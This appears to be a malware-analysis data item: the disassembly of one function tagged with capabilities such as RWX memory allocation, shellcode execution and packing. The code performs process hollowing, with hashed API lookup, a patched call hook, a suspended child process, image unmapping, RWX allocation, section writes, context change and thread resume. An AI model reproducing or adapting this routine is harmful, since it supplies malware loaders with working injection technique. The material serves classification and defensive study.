Function at 0x40f2c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Packed with generic packer
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x451f30
push 0x422bc0
mov eax, dword fs:[0]
push eax
sub esp, 0x4b0
mov eax, dword [0x453348]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov dword [ebp - 0x18], esp
mov eax, dword [ebp + 8]
mov dword [ebp - 0x468], eax
call fcn.00418ef0
push str.Kernel32.dll
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call esi
mov dword [0x4572fc], eax
push str.NTDLL.dll
call esi
mov dword [0x4572f8], eax
push 0x97d4eb02
push eax
call fcn.0041ac30
mov dword [0x4572f4], eax
push 0xac8fb92
push str.Kernel32.dll
call esi
push eax
call fcn.0041ac30
mov dword [0x4571a4], eax
lea ecx, [ebp - 0x44c]
push ecx
push 0x40
push 0x1000
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
pushal
mov eax, 0x40f230
mov ebx, dword [0x4571a4]
mov ecx, eax
sub ecx, ebx
sub ecx, 5
mov byte ds:[ebx], 0xe8
mov dword ds:[ebx + 1], ecx
popal
mov ebx, dword [ebp - 0x468]
mov edi, dword [ebx + 0x3c]
add edi, ebx
movzx edx, word [edi + 0x14]
lea eax, [edx + edi + 0x18]
mov dword [ebp - 0x478], eax
xor eax, eax
mov dword [ebp - 4], eax
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x44c], eax
test eax, eax
jne 0x40f3b4
push str.ntdll
call esi
jmp 0x40f3a1
xor eax, eax
mov dword [ebp - 0x460], eax
mov dword [ebp - 0x45c], eax
mov dword [ebp - 0x458], eax
mov dword [ebp - 0x454], eax
push 0x44
push eax
lea ecx, [ebp - 0x4c0]
push ecx
call fcn.00427fa0
add esp, 0xc
push 0x44dbd8
lea ecx, [ebp - 0xfc]
call fcn.00401820
cmp byte [ebp + 0xc], 0
jne 0x40f40f
push 0xffffffffffffffff
push 0
push 0x455fc4
lea ecx, [ebp - 0xfc]
call fcn.00401e30
jmp 0x40f661
mov byte [ebp - 0x442], 0
xor bl, bl
mov byte [ebp - 0x441], bl
push 0x44f6d4
lea ecx, [ebp - 0xe0]
call fcn.00401820
push 0x44f6e0
lea ecx, [ebp - 0xc4]
call fcn.00401820
push 0x44f6ec
lea ecx, [ebp - 0xa8]
call fcn.00401820
push 0x44f6f4
lea ecx, [ebp - 0x8c]
call fcn.00401820
push 0x44f704
lea ecx, [ebp - 0x70]
call fcn.00401820
jmp 0x40f470
cmp byte [ebp - 0x442], 0
jne 0x40f607
cmp bl, 4
je 0x40f607
movzx eax, bl
lea ecx, [eax*8]
sub ecx, eax
lea ecx, [ebp + ecx*4 - 0xe0]
cmp dword [ecx + 0x14], 0x10
jb 0x40f4a1
mov ecx, dword [ecx]
lea edx, [ebp - 0x50]
mov al, byte [ecx]
mov byte [edx], al
inc ecx
inc edx
test al, al
jne 0x40f4a4
lea edx, [ebp - 0x50]
mov dword [0x4572d0], edx
call fcn.00418dc0
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0x16c]
call fcn.00401820
mov ebx, eax
lea esi, [ebp - 0x134]
call fcn.0040dfa0
push eax
mov eax, 0x44e178
lea ecx, [ebp - 0x150]
call fcn.004175d0
add esp, 4
mov ecx, eax
mov eax, ebx
lea ebx, [ebp - 0x118]
call fcn.00417640
mov esi, eax
lea ecx, [ebp - 0xfc]
cmp ecx, esi
je 0x40f57e
cmp dword [ebp - 0xe8], 0x10
jb 0x40f51f
mov edx, dword [ebp - 0xfc]
push edx
call fcn.0041d1cc
add esp, 4
mov dword [ebp - 0xe8], 0xf
xor ebx, ebx
mov dword [ebp - 0xec], ebx
mov byte [ebp - 0xfc], bl
cmp dword [esi + 0x14], 0x10
jae 0x40f554
mov eax, dword [esi + 0x10]
inc eax
push eax
push esi
lea eax, [ebp - 0xfc]
push eax
call fcn.0041c5a0
add esp, 0xc
jmp 0x40f55e
mov ecx, dword [esi]
mov dword [ebp - 0xfc], ecx
mov dword [esi], ebx
mov edx, dword [esi + 0x10]
mov dword [ebp - 0xec], edx
mov eax, dword [esi + 0x14]
mov dword [ebp - 0xe8], eax
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], ebx
mov byte [esi], bl
jmp 0x40f580
xor ebx, ebx
lea ecx, [ebp - 0x118]
call fcn.00401880
lea ecx, [ebp - 0x150]
call fcn.00401880
lea ecx, [ebp - 0x134]
call fcn.00401880
lea ecx, [ebp - 0x16c]
call fcn.00401880
cmp dword [ebp - 0xe8], 0x10
mov eax, dword [ebp - 0xfc]
jae 0x40f5c1
lea eax, [ebp - 0xfc]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push eax
call dword [0x4572f0]
cmp eax, 0xffffffff
jne 0x40f5ee
inc byte [ebp - 0x441]
mov bl, byte [ebp - 0x441]
jmp 0x40f470
mov byte [ebp - 0x442], 1
push eax
call dword [0x4572b4]
mov bl, byte [ebp - 0x441]
jmp 0x40f470
mov dword [ebp - 0x470], 5
lea ecx, [ebp - 0xe0]
mov dword [ebp - 0x46c], ecx
lea esi, [ebp - 0x54]
mov dword [ebp - 0x46c], esi
dec dword [ebp - 0x470]
js 0x40f65b
sub esi, 0x1c
mov dword [ebp - 0x46c], esi
cmp dword [esi + 0x14], 0x10
jb 0x40f648
mov eax, dword [esi]
push eax
call fcn.0041d1cc
add esp, 4
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
mov byte [esi], 0
jmp 0x40f626
mov ebx, dword [ebp - 0x468]
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
jmp 0x40f670
cmp dword [ebp - 0xe8], 0x10
mov eax, dword [ebp - 0xfc]
jae 0x40f685
lea eax, [ebp - 0xfc]
lea edx, [ebp - 0x460]
push edx
lea ecx, [ebp - 0x4c0]
push ecx
push 0
push 0
push 4
push 1
push 0
push 0
push 0
push eax
call dword [0x457274]
test eax, eax
je 0x40f670
push str.ntdll.dll
call esi
mov dword [ebp - 0x448], eax
push 0x9d35f923
push eax
call fcn.0041ac30
mov dword [ebp - 0x450], eax
mov edx, dword [edi + 0x34]
push edx
mov eax, dword [ebp - 0x460]
push eax
call dword [ebp - 0x450]
add esp, 8
push 0x40
push 0x3000
mov ecx, dword [edi + 0x50]
push ecx
mov edx, dword [edi + 0x34]
push edx
mov eax, dword [ebp - 0x460]
push eax
call dword [0x4572e0]
test eax, eax
jne 0x40f729
push eax
mov ecx, dword [ebp - 0x460]
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov edx, dword [ebp - 0x460]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x40f670
lea eax, [ebp - 0x448]
push eax
mov ecx, dword [edi + 0x54]
push ecx
push ebx
mov edx, dword [edi + 0x34]
push edx
mov eax, dword [ebp - 0x460]
push eax
call dword [0x45727c]
xor esi, esi
mov dword [ebp - 0x474], esi
movzx ecx, word [edi + 6]
cmp esi, ecx
jge 0x40f78e
lea edx, [esi + esi*4]
mov eax, dword [ebp - 0x478]
lea eax, [eax + edx*8]
lea ecx, [ebp - 0x448]
push ecx
mov edx, dword [eax + 0x10]
push edx
mov ecx, dword [eax + 0x14]
add ecx, dword [ebp - 0x468]
push ecx
mov edx, dword [eax + 0xc]
add edx, dword [edi + 0x34]
push edx
mov eax, dword [ebp - 0x460]
push eax
call dword [0x45727c]
inc esi
jmp 0x40f748
mov dword [ebp - 0x440], 0x10007
lea ecx, [ebp - 0x440]
push ecx
mov edx, dword [ebp - 0x45c]
push edx
call dword [0x45720c]
mov eax, dword [edi + 0x28]
add eax, dword [edi + 0x34]
mov dword [ebp - 0x390], eax
lea ecx, [ebp - 0x440]
push ecx
mov edx, dword [ebp - 0x45c]
push edx
call fcn.0041acb0
mov eax, dword [edi + 0x34]
mov dword [ebp - 0x448], eax
lea ecx, [ebp - 0x464]
push ecx
push 4
lea edx, [ebp - 0x448]
push edx
mov eax, dword [ebp - 0x39c]
add eax, 8
push eax
mov ecx, dword [ebp - 0x460]
push ecx
call dword [0x45727c]
push str.ZwResumeThread
mov edx, dword [ebp - 0x44c]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x457200], eax
push 0
mov ecx, dword [ebp - 0x45c]
push ecx
call eax
lea ecx, [ebp - 0xfc]
call fcn.00401880
mov dword [ebp - 4], 0xfffffffe
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.0041c2f8
mov esp, ebp
pop ebp
ret